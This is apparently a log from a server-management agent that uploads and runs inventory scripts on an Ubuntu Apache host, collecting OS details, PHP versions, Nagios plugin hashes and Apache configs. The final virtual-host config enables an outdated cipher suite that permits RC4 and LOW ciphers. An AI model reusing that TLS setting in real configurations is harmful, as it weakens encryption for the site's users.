	show_file /etc/centos-release
fi
if [ -f /etc/debian_version ]; then
	show_file /etc/debian_version
fi
if [ -f /etc/redhat-release ]; then
	show_file /etc/redhat-release
fi
if [ -f /etc/system-release ]; then
	show_file /etc/system-release
fi
if [ -f /etc/lsb-release ]; then
	show_file /etc/lsb-release
fi
if [ -f /etc/os-release ]; then
	show_file /etc/os-release
fi
if [ -e /proc/swaps ]; then
	show_file /proc/swaps
fi

show_hostname 'hostname'
show_arc 'architecture'
show_uname 'uname'

gzip -cn9 $temp_file
rm $temp_file

2025-12-23 17:43:33: 

chmod 755 /tmp/pkp525231; /tmp/pkp525231; rm /tmp/pkp525231

2025-12-23 17:43:33: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/debian_version
trixie/sid

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=24.04
DISTRIB_CODENAME=noble
DISTRIB_DESCRIPTION="Ubuntu 24.04.3 LTS"

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/os-release
PRETTY_NAME="Ubuntu 24.04.3 LTS"
NAME="Ubuntu"
VERSION_ID="24.04"
VERSION="24.04.3 LTS (Noble Numbat)"
VERSION_CODENAME=noble
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=noble
LOGO=ubuntu-logo

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/proc/swaps
Filename				Type		Size		Used		Priority
/dev/dm-0                               partition	1998844		0		-2

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
hostname
mercury

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
architecture
x86_64

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
uname
Linux 6.8.0-90-generic



2025-12-23 17:43:33: 

PUT: /tmp/pkp531477

#!/bin/bash

# get service version
apache_output() {
	sub_file=$(mktemp)
	script -q -c "$1 -V" $sub_file
	cat $sub_file
	rm $sub_file
}
apache_output2() {
	$1 -V
}

apachectl_output() {
	temp_file=$(mktemp)
	apachectl -t -D DUMP_RUN_CFG > $temp_file 2>&1
	file=`awk -F\" '/PidFile:/{print $2}' $temp_file`
	pid=`cat $file`;
	cat $temp_file
	rm $temp_file

# also get user/group
	echo pid: $pid

	if [ -d "/etc/apache2/sites-available" ]; then
		echo available=sites-available
	elif [ -d "/etc/apache2/hosts.d" ]; then
		echo available=hosts.d
	elif [ -d "/etc/apache2/conf.d" ]; then
		echo available=conf.d
	fi
	
	echo [ps]
	ps up $pid
}

apachectl_enabled() {
	temp_file=$(mktemp)
	apachectl -t -D DUMP_MODULES > $temp_file 2>&1
	echo [modules]
	cat $temp_file
	rm $temp_file
}

if [[ "$OSTYPE" == "darwin"* ]]; then
	echo [apache2]
	apache_output2 /usr/sbin/httpd

elif [ -e "/usr/sbin/httpd" ]; then
	echo [httpd]
	apache_output /usr/sbin/httpd
 
    if [ -d "/etc/httpd/conf.d" ]; then
		echo available=conf.d
	fi
fi

if [ -e "/usr/sbin/apache2" ]; then
	echo [apache2]
	source /etc/apache2/envvars
	apache_output2 /usr/sbin/apache2
	apachectl_output
	apachectl_enabled
fi


2025-12-23 17:43:34: 

chmod 755 /tmp/pkp531477; /tmp/pkp531477; rm /tmp/pkp531477

2025-12-23 17:43:34: 


[apache2]
Server version: Apache/2.4.58 (Ubuntu)
Server built:   2025-08-11T11:10:09
Server's Module Magic Number: 20120211:129
Server loaded:  APR 1.7.2, APR-UTIL 1.6.3, PCRE 10.42 2022-12-11
Compiled using: APR 1.7.2, APR-UTIL 1.6.3, PCRE 10.42 2022-12-11
Architecture:   64-bit
Server MPM:     prefork
  threaded:     no
    forked:     yes (variable process count)
Server compiled with....
 -D APR_HAS_SENDFILE
 -D APR_HAS_MMAP
 -D APR_HAVE_IPV6 (IPv4-mapped addresses enabled)
 -D APR_USE_PROC_PTHREAD_SERIALIZE
 -D APR_USE_PTHREAD_SERIALIZE
 -D SINGLE_LISTEN_UNSERIALIZED_ACCEPT
 -D APR_HAS_OTHER_CHILD
 -D AP_HAVE_RELIABLE_PIPED_LOGS
 -D DYNAMIC_MODULE_LIMIT=256
 -D HTTPD_ROOT="/etc/apache2"
 -D SUEXEC_BIN="/usr/lib/apache2/suexec"
 -D DEFAULT_PIDLOG="/var/run/apache2.pid"
 -D DEFAULT_SCOREBOARD="logs/apache_runtime_status"
 -D DEFAULT_ERRORLOG="logs/error_log"
 -D AP_TYPES_CONFIG_FILE="mime.types"
 -D SERVER_CONFIG_FILE="apache2.conf"
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
pid: 8993
available=sites-available
[ps]
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root        8993  0.0  0.6 218004 24780 ?        Ss   17:10   0:00 /usr/sbin/apache2 -k start
[modules]
Loaded Modules:
 core_module (static)
 so_module (static)
 watchdog_module (static)
 http_module (static)
 log_config_module (static)
 logio_module (static)
 version_module (static)
 unixd_module (static)
 access_compat_module (shared)
 alias_module (shared)
 auth_basic_module (shared)
 authn_core_module (shared)
 authn_file_module (shared)
 authz_core_module (shared)
 authz_host_module (shared)
 authz_user_module (shared)
 autoindex_module (shared)
 deflate_module (shared)
 dir_module (shared)
 env_module (shared)
 filter_module (shared)
 mime_module (shared)
 mpm_prefork_module (shared)
 negotiation_module (shared)
 php_module (shared)
 reqtimeout_module (shared)
 rewrite_module (shared)
 setenvif_module (shared)
 socache_shmcb_module (shared)
 ssl_module (shared)
 status_module (shared)


2025-12-23 17:43:34: 

SERVER INFO (php_model): array (
  'debian' => 1,
  'redhat' => 0,
  'name' => 'mercury',
  'arch' => 'x86_64',
  'raspbian' => 0,
  'osdesc' => 'Ubuntu 24.04.3 LTS',
  'rel' => '24.04.3',
  'mac' => 0,
  'distro' => 'ubuntu',
  'swapfile' => '/dev/dm-0',
  'web' => 
  array (
    'apache2' => 
    array (
      'conf' => 'apache2.conf',
      'config' => '/etc/apache2',
      'user' => 'www-data',
      'group' => 'www-data',
      'available' => 'sites-available',
      'running' => 1,
    ),
    'modules' => 
    array (
      0 => 'core_module',
      1 => 'so_module',
      2 => 'watchdog_module',
      3 => 'http_module',
      4 => 'log_config_module',
      5 => 'logio_module',
      6 => 'version_module',
      7 => 'unixd_module',
      8 => 'access_compat_module',
      9 => 'alias_module',
      10 => 'auth_basic_module',
      11 => 'authn_core_module',
      12 => 'authn_file_module',
      13 => 'authz_core_module',
      14 => 'authz_host_module',
      15 => 'authz_user_module',
      16 => 'autoindex_module',
      17 => 'deflate_module',
      18 => 'dir_module',
      19 => 'env_module',
      20 => 'filter_module',
      21 => 'mime_module',
      22 => 'mpm_prefork_module',
      23 => 'negotiation_module',
      24 => 'php_module',
      25 => 'reqtimeout_module',
      26 => 'rewrite_module',
      27 => 'setenvif_module',
      28 => 'socache_shmcb_module',
      29 => 'ssl_module',
      30 => 'status_module',
    ),
  ),
)


2025-12-23 17:43:34: 

PUT: /tmp/pkp590786

#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	cat $1 >> $temp_file
	echo >> $temp_file
}

# show available php versions
if [ -f "/usr/bin/apt-get" ]; then
	if ! grep -q -r ondrej /etc/apt/sources.list.d/*; then
		if [ ! -f "/usr/bin/add-apt-repository" ]; then
			apt-get -y install software-properties-common > $temp_file 2>&1
		fi
		apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 4F4EA0AAE5267A6C  > $temp_file 2>&1
		add-apt-repository -y ppa:ondrej/php > $temp_file 2>&1
		apt-get update > $temp_file 2>&1
	fi
	echo $BOUNDARY >> $temp_file
	echo apt-get >> $temp_file
	apt-cache search --names-only '^php[0-9].[0-9]$' >> $temp_file
	echo >> $temp_file
fi

gzip -cn9 $temp_file
rm $temp_file


2025-12-23 17:43:35: 

chmod 755 /tmp/pkp590786; /tmp/pkp590786; rm /tmp/pkp590786

2025-12-23 17:43:35: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
apt-get
php8.3 - server-side, HTML-embedded scripting language (metapackage)



2025-12-23 17:43:35: 

PUT: /tmp/pkp496654

#!/bin/bash
	dest=`dpkg -L php7.2-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.2]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.3-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.3-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.3]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.0-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.0-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.0]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.1-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.1-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.1]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.3-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.3-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.3]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi



2025-12-23 17:43:36: 

chmod 755 /tmp/pkp496654; /tmp/pkp496654; rm /tmp/pkp496654

2025-12-23 17:43:36: 


[php8.3]
php=/usr/bin/php8.3
fpm=
version=8.3.6


2025-12-23 17:43:36: 

PUT: /tmp/pkp427828

#!/usr/bin/python3
import gzip, sys, os, glob, hashlib, tempfile, codecs

jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def collectCfgFiles(filename):
        config = []
        f = open(filename, 'r')
        file = f.readlines()
        for v in file:
                v = v.rstrip()
                if v != '' and v[0] != '#':
                        p = v.find('=')
                        if p > -1:
                                key = v[:p].strip()
                                value=v[p+1:].strip()
                                if key == 'cfg_file':
                                        config.append(value)
        f.close()
        return config

def generate_hash(filename, type = 'MD5'):
        digest = hashlib.md5(open(filename, 'rb').read()).hexdigest()
        payload = type + '(' + filename + ')= ' + digest + "\n"
        gz.write(payload.encode('cp437'))

def scan_folder(folder):
        if os.path.isdir(folder):
                filelist = glob.glob(folder + '/check*')
                for filename in filelist:
                        generate_hash(filename, 'bin')
        return

try:
        try:
                filelist = collectCfgFiles('/usr/local/nagios/etc/nagios.cfg')
                for file in filelist:
                        generate_hash(file)

        except:
                pass

        scan_folder('/usr/local/nagios/libexec')

finally:
        gz.close();
        
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)
        

2025-12-23 17:43:36: 

chmod 755 /tmp/pkp427828; /tmp/pkp427828; rm /tmp/pkp427828

2025-12-23 17:43:37: 
(gzipped output)


bin(/usr/local/nagios/libexec/check_file_age)= bbb77d5060295afcc65b5d70def5112f
bin(/usr/local/nagios/libexec/check_oracle)= be3b86d143b2b5f88a275efd4626174b
bin(/usr/local/nagios/libexec/check_ssl_validity)= eeaee8f9f357138a49640d4f416530ce
bin(/usr/local/nagios/libexec/check_hpjd)= 64ee3194a0a81fbb7cf3d9b57446938f
bin(/usr/local/nagios/libexec/check_ide_smart)= effbb42dc1945424cdae93b78554a352
bin(/usr/local/nagios/libexec/check_dns)= 678ab45c25c434402bf611852a8a4683
bin(/usr/local/nagios/libexec/check_http)= 9906dd7f5ca3bfc80b5a973a6e069fba
bin(/usr/local/nagios/libexec/check_dig)= 187d7f6496af34afee3eea71cfccd8f6
bin(/usr/local/nagios/libexec/check_ifoperstatus)= 77231cfefa010e176e6f79104ba8aa17
bin(/usr/local/nagios/libexec/check_debian_packages)= c962dac5b49c230319a8f132131c5818
bin(/usr/local/nagios/libexec/check_udp)= b17c6fce20b402c64b9d6f3ab63e19c2
bin(/usr/local/nagios/libexec/check_ifstatus)= a12ea262bc58c565ebb494060038ac9e
bin(/usr/local/nagios/libexec/check_clamd)= b17c6fce20b402c64b9d6f3ab63e19c2
bin(/usr/local/nagios/libexec/check_pop)= b17c6fce20b402c64b9d6f3ab63e19c2
bin(/usr/local/nagios/libexec/check_log)= 84a10ba3f6d50f6735e0b70de00cb752
bin(/usr/local/nagios/libexec/check_ntp_peer)= 700aa1be6531659457ad1813c2ff4fa4
bin(/usr/local/nagios/libexec/check_rpc)= 7e1cee5fe4eee5cf37382111289330f9
bin(/usr/local/nagios/libexec/check_snmp)= ae476b134b35a2069a66ca7bf3dfef5f
bin(/usr/local/nagios/libexec/check_nntps)= b17c6fce20b402c64b9d6f3ab63e19c2
bin(/usr/local/nagios/libexec/check_jabber)= b17c6fce20b402c64b9d6f3ab63e19c2
bin(/usr/local/nagios/libexec/check_nt)= 67b096102e7d9cb948ecc905b6974647
bin(/usr/local/nagios/libexec/check_time)= 9015466bda93ce734f8a44f1f93ba086
bin(/usr/local/nagios/libexec/check_dhcp)= 5305683e7179a4e2045b28701511c0cd
bin(/usr/local/nagios/libexec/check_ntp_time)= bdd5225fb6495d5bfbf64f1257e9a63b
bin(/usr/local/nagios/libexec/check_overcr)= 5cf7c28c869e4345a0290081aaf8acd7
bin(/usr/local/nagios/libexec/check_real)= 4080a208db40511259649484b0e3500f
bin(/usr/local/nagios/libexec/check_mrtg)= 196fccc1433d57c7bc33ebed9ae52d66
bin(/usr/local/nagios/libexec/check_spop)= b17c6fce20b402c64b9d6f3ab63e19c2
bin(/usr/local/nagios/libexec/check_disk)= b9a53817f067cb6f05e8bd6b87e37262
bin(/usr/local/nagios/libexec/check_ftp)= b17c6fce20b402c64b9d6f3ab63e19c2
bin(/usr/local/nagios/libexec/check_file_exists)= 499adf459b71d925c1b3a6dbb5955cf9
bin(/usr/local/nagios/libexec/check_uptime)= d14ffb873597dcfe063affcc89cd9855
bin(/usr/local/nagios/libexec/check_ups)= 4d21b8834fe4a56be3d0d4b20334f98f
bin(/usr/local/nagios/libexec/check_by_ssh)= 399c72f511991f704a27425a347b4872
bin(/usr/local/nagios/libexec/check_ssh)= bcf976003bcbb8123e8cfeb0d1dd19ff
bin(/usr/local/nagios/libexec/check_dummy)= 42979d98f4da7a6fd55ab49df8447117
bin(/usr/local/nagios/libexec/check_imap)= b17c6fce20b402c64b9d6f3ab63e19c2
bin(/usr/local/nagios/libexec/check_smtp)= 41efde96f194785578a8aae9a95ee34f
bin(/usr/local/nagios/libexec/check_sensors)= 06ac1c2751486a92a89fba506341aee0
bin(/usr/local/nagios/libexec/check_mailq)= 7ac214801577c64b50c8f867f8e27457
bin(/usr/local/nagios/libexec/check_swap)= 0056e9ce4cbb5c33df89b73d5796262c
bin(/usr/local/nagios/libexec/check_flexlm)= 8d980eb064966cdd62b75bd4b53a9d3c
bin(/usr/local/nagios/libexec/check_ssl_cert.php)= a5e2b217dabfd686330a66f41b0d4d90
bin(/usr/local/nagios/libexec/check_ircd)= 4652b5283f36f3c286dedd7b96002f59
bin(/usr/local/nagios/libexec/check_nagios)= df628678fae8b52e057fc38eeccd5212
bin(/usr/local/nagios/libexec/check_wave)= 894b14827450865b177de0e4c19b13e0
bin(/usr/local/nagios/libexec/check_tcp)= b17c6fce20b402c64b9d6f3ab63e19c2
bin(/usr/local/nagios/libexec/check_simap)= b17c6fce20b402c64b9d6f3ab63e19c2
bin(/usr/local/nagios/libexec/check_ping)= 5fd0ad4e25c9b58b3e0773076cea3462
bin(/usr/local/nagios/libexec/check_mrtgtraf)= d61ddfec3477a2d3888a13a76fa07bac
bin(/usr/local/nagios/libexec/check_nntp)= b17c6fce20b402c64b9d6f3ab63e19c2
bin(/usr/local/nagios/libexec/check_icmp)= 9aeab987e022c350c62dfc337e200dd2
bin(/usr/local/nagios/libexec/check_ssmtp)= b17c6fce20b402c64b9d6f3ab63e19c2
bin(/usr/local/nagios/libexec/check_apt)= 4e124a535cd8ba1468833fbf5a0a1241
bin(/usr/local/nagios/libexec/check_procs)= 0033a2ac44dd2e39cdcaf9385a2de9c1
bin(/usr/local/nagios/libexec/check_disk_smb)= 6bc356a7345c4149bac3c6889447261e
bin(/usr/local/nagios/libexec/check_ntp)= 53a9e0f59622610ec86d2e767f0c2a5a
bin(/usr/local/nagios/libexec/check_load)= 555f56f1a20ab1c72317355584b7c7e2
bin(/usr/local/nagios/libexec/check_nwstat)= 6283502be064661151b408b0e2d6dda1
bin(/usr/local/nagios/libexec/check_service)= 8e2475317d2e7a9c6645dba25f338011
bin(/usr/local/nagios/libexec/check_breeze)= 6b734e492b6a98b6def0496fc7636fcc
bin(/usr/local/nagios/libexec/check_cluster)= a626d16bc3e1f4185cedd25670e45f6e
bin(/usr/local/nagios/libexec/check_users)= 49119f108bac8d26416c095d0d163485


2025-12-23 17:43:37: 

PUT: /tmp/pkp811921

#!/bin/bash

install=
if [ -f "/usr/bin/yum" ]; then
	if [ ! -f "/usr/bin/openssl" ]; then
		install="$install openssl"
	fi
	rpm -qi mod_ssl > /dev/null 2>&1
	retVal=$?
	if [ $retVal -ne 0 ]; then
		install="$install mod_ssl"
	fi
	if [ ! -z $install ]; then
		yum -y install $install
		systemctl restart apache2
		echo status=restarted
	else
		echo status=ok
	fi
elif [ -f "/usr/bin/apt-get" ]; then

	if [ ! -f "/usr/bin/openssl" ]; then
		apt-get update
		apt-get -y install openssl
	fi

	if [ ! -f "/etc/apache2/mods-enabled/ssl.conf" ] ; then
		a2enmod -q ssl
		systemctl restart apache2
	fi
	echo status=ok
fi



2025-12-23 17:43:37: 

chmod 755 /tmp/pkp811921; /tmp/pkp811921; rm /tmp/pkp811921

2025-12-23 17:43:38: 


status=ok


2025-12-23 17:43:38: 

PUT: /tmp/pkp781688

#!/usr/bin/python3
import os, sys, glob, hashlib, re, gzip, tempfile, codecs

jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def generate_hash_certificate(content, folder):
    file = content.split("\n")
    for v in file:
        v = v.strip()
        if v != '' and v[0] != '#':
            match = re.search('sslcertificatefile\s+(.*?)$', v, flags=re.IGNORECASE)
            if match is not None:
                filename = match.group(1)
                filename = normalize_path(folder, filename, True)
                generate_hash(filename, folder)

def normalize_path(basepath, relativepath, isFile):
    if relativepath[:1] == '/':
        return relativepath
    if isFile:
        basename = os.path.basename(relativepath)
        relativepath = os.path.dirname(relativepath)
    else:
        basename = ''

    basepath = basepath.split('/')
    relativepath = relativepath.split('/')
    for element in relativepath:
        if element == '..':
            basepath.pop()
        elif element != '.' and element != '':
            basepath.append(element)
    basepath = '/'.join(basepath)
    if basename != '':
        basepath += '/' + basename
    return basepath

def generate_hash(filename, folder):
    if os.path.islink(filename):
        target = os.readlink(filename)
        target = normalize_path(folder, target, True)
        payload = 'link(' + filename + ')= ' + target + "\n"
        gz.write(payload.encode('cp437'))
        return
    content = open(filename).read()
    filehash = hashlib.md5()
    filehash.update(content.encode('cp437'))
    payload = 'MD5(' + filename + ')= ' + filehash.hexdigest() + "\n"
    gz.write(payload.encode('cp437'))
    lower_content = content.lower()
    if lower_content.find('sslcertificatefile') > -1:
        generate_hash_certificate(content, folder)
    return

def scan_folder(folder):
    if os.path.isdir(folder):
        filelist = glob.glob(folder + '/*.conf')
        for filename in filelist:
            generate_hash(filename, folder)
    return

try:
	APACHE_ROOT = '/etc/apache2'
	scan_folder(APACHE_ROOT)
	scan_folder(APACHE_ROOT + '/conf.d')
	scan_folder(APACHE_ROOT + '/conf.modules.d')

	scan_folder(APACHE_ROOT + '/sites-available')
	scan_folder(APACHE_ROOT + '/sites-enabled')
	scan_folder(APACHE_ROOT + '/hosts.d')

finally:
    gz.close()

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-12-23 17:43:38: 

chmod 755 /tmp/pkp781688; /tmp/pkp781688; rm /tmp/pkp781688

2025-12-23 17:43:38: 
2025-12-23 17:43:38: 

PUT: /tmp/pkp811389

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/ports.conf')
    show_file('/etc/apache2/apache2.conf')
    show_file('/etc/apache2/sites-available/pjy_mercury_us.conf')
    show_file('/etc/apache2/sites-available/000-default.conf')
    show_file('/etc/apache2/sites-available/default-ssl.conf')
    show_file('/etc/apache2/sites-available/n-e-v_www_info.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-12-23 17:43:39: 

chmod 755 /tmp/pkp811389; /tmp/pkp811389; rm /tmp/pkp811389

2025-12-23 17:43:39: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/ports.conf	274
# If you just change the port or add more ports here, you will likely also
# have to change the VirtualHost statement in
# /etc/apache2/sites-enabled/000-default.conf

Listen 80

<IfModule ssl_module>
	Listen 443
</IfModule>

<IfModule mod_gnutls.c>
	Listen 443
</IfModule>


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/apache2.conf	7178
# This is the main Apache server configuration file.  It contains the
# configuration directives that give the server its instructions.
# See http://httpd.apache.org/docs/2.4/ for detailed information about
# the directives and /usr/share/doc/apache2/README.Debian about Debian specific
# hints.
#
#
# Summary of how the Apache 2 configuration works in Debian:
# The Apache 2 web server configuration in Debian is quite different to
# upstream's suggested way to configure the web server. This is because Debian's
# default Apache2 installation attempts to make adding and removing modules,
# virtual hosts, and extra configuration directives as flexible as possible, in
# order to make automating the changes and administering the server as easy as
# possible.

# It is split into several files forming the configuration hierarchy outlined
# below, all located in the /etc/apache2/ directory:
#
#	/etc/apache2/
#	|-- apache2.conf
#	|	`--  ports.conf
#	|-- mods-enabled
#	|	|-- *.load
#	|	`-- *.conf
#	|-- conf-enabled
#	|	`-- *.conf
# 	`-- sites-enabled
#	 	`-- *.conf
#
#
# * apache2.conf is the main configuration file (this file). It puts the pieces
#   together by including all remaining configuration files when starting up the
#   web server.
#
# * ports.conf is always included from the main configuration file. It is
#   supposed to determine listening ports for incoming connections which can be
#   customized anytime.
#
# * Configuration files in the mods-enabled/, conf-enabled/ and sites-enabled/
#   directories contain particular configuration snippets which manage modules,
#   global configuration fragments, or virtual host configurations,
#   respectively.
#
#   They are activated by symlinking available configuration files from their
#   respective *-available/ counterparts. These should be managed by using our
#   helpers a2enmod/a2dismod, a2ensite/a2dissite and a2enconf/a2disconf. See
#   their respective man pages for detailed information.
#
# * The binary is called apache2. Due to the use of environment variables, in
#   the default configuration, apache2 needs to be started/stopped with
#   /etc/init.d/apache2 or apache2ctl. Calling /usr/bin/apache2 directly will not
#   work with the default configuration.


# Global configuration
#

#
# ServerRoot: The top of the directory tree under which the server's
# configuration, error, and log files are kept.
#
# NOTE!  If you intend to place this on an NFS (or otherwise network)
# mounted filesystem then please read the Mutex documentation (available
# at <URL:http://httpd.apache.org/docs/2.4/mod/core.html#mutex>);
# you will save yourself a lot of trouble.
#
# Do NOT add a slash at the end of the directory path.
#
#ServerRoot "/etc/apache2"

#
# The accept serialization lock file MUST BE STORED ON A LOCAL DISK.
#
#Mutex file:${APACHE_LOCK_DIR} default

#
# The directory where shm and other runtime files will be stored.
#

DefaultRuntimeDir ${APACHE_RUN_DIR}

#
# PidFile: The file in which the server should record its process
# identification number when it starts.
# This needs to be set in /etc/apache2/envvars
#
PidFile ${APACHE_PID_FILE}

#
# Timeout: The number of seconds before receives and sends time out.
#
Timeout 300

#
# KeepAlive: Whether or not to allow persistent connections (more than
# one request per connection). Set to "Off" to deactivate.
#
KeepAlive On

#
# MaxKeepAliveRequests: The maximum number of requests to allow
# during a persistent connection. Set to 0 to allow an unlimited amount.
# We recommend you leave this number high, for maximum performance.
#
MaxKeepAliveRequests 100

#
# KeepAliveTimeout: Number of seconds to wait for the next request from the
# same client on the same connection.
#
KeepAliveTimeout 5


# These need to be set in /etc/apache2/envvars
User ${APACHE_RUN_USER}
Group ${APACHE_RUN_GROUP}

#
# HostnameLookups: Log the names of clients or just their IP addresses
# e.g., www.apache.org (on) or 204.62.129.132 (off).
# The default is off because it'd be overall better for the net if people
# had to knowingly turn this feature on, since enabling it means that
# each client request will result in AT LEAST one lookup request to the
# nameserver.
#
HostnameLookups Off

# ErrorLog: The location of the error log file.
# If you do not specify an ErrorLog directive within a <VirtualHost>
# container, error messages relating to that virtual host will be
# logged here.  If you *do* define an error logfile for a <VirtualHost>
# container, that host's errors will be logged there and not here.
#
ErrorLog ${APACHE_LOG_DIR}/error.log

#
# LogLevel: Control the severity of messages logged to the error_log.
# Available values: trace8, ..., trace1, debug, info, notice, warn,
# error, crit, alert, emerg.
# It is also possible to configure the log level for particular modules, e.g.
# "LogLevel info ssl:warn"
#
LogLevel warn

# Include module configuration:
IncludeOptional mods-enabled/*.load
IncludeOptional mods-enabled/*.conf

# Include list of ports to listen on
Include ports.conf


# Sets the default security model of the Apache2 HTTPD server. It does
# not allow access to the root filesystem outside of /usr/share and /var/www.
# The former is used by web applications packaged in Debian,
# the latter may be used for local directories served by the web server. If
# your system is serving content from a sub-directory in /srv you must allow
# access here, or in any related virtual host.
<Directory />
	Options FollowSymLinks
	AllowOverride None
	Require all denied
</Directory>

<Directory /usr/share>
	AllowOverride None
	Require all granted
</Directory>

<Directory /var/www/>
	Options Indexes FollowSymLinks
	AllowOverride None
	Require all granted
</Directory>

#<Directory /srv/>
#	Options Indexes FollowSymLinks
#	AllowOverride None
#	Require all granted
#</Directory>




# AccessFileName: The name of the file to look for in each directory
# for additional configuration directives.  See also the AllowOverride
# directive.
#
AccessFileName .htaccess

#
# The following lines prevent .htaccess and .htpasswd files from being
# viewed by Web clients.
#
<FilesMatch "^\.ht">
	Require all denied
</FilesMatch>


#
# The following directives define some format nicknames for use with
# a CustomLog directive.
#
# These deviate from the Common Log Format definitions in that they use %O
# (the actual bytes sent including headers) instead of %b (the size of the
# requested file), because the latter makes it impossible to detect partial
# requests.
#
# Note that the use of %{X-Forwarded-For}i instead of %h is not recommended.
# Use mod_remoteip instead.
#
LogFormat "%v:%p %h %l %u %t \"%r\" %>s %O \"%{Referer}i\" \"%{User-Agent}i\"" vhost_combined
LogFormat "%h %l %u %t \"%r\" %>s %O \"%{Referer}i\" \"%{User-Agent}i\"" combined
LogFormat "%h %l %u %t \"%r\" %>s %O" common
LogFormat "%{Referer}i -> %U" referer
LogFormat "%{User-agent}i" agent

# Include of directories ignores editors' and dpkg's backup files,
# see README.Debian for details.

# Include generic snippets of statements
IncludeOptional conf-enabled/*.conf

# Include the virtual host configurations:
IncludeOptional sites-enabled/*.conf


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/pjy_mercury_us.conf	1579

<VirtualHost *:80>
    ServerName	mercury.hostz.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hostz_mercury
    <Directory /var/www/hostz_mercury>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/pjy/mercury_access.log combined
    ErrorLog	/var/log/apache2/pjy/mercury_error.log
    SetEnv pkp_uid	35
    SetEnv pkp_owner	nev
    DirectoryIndex	index.html index.htm index.php index.py
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	mercury.hostz.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
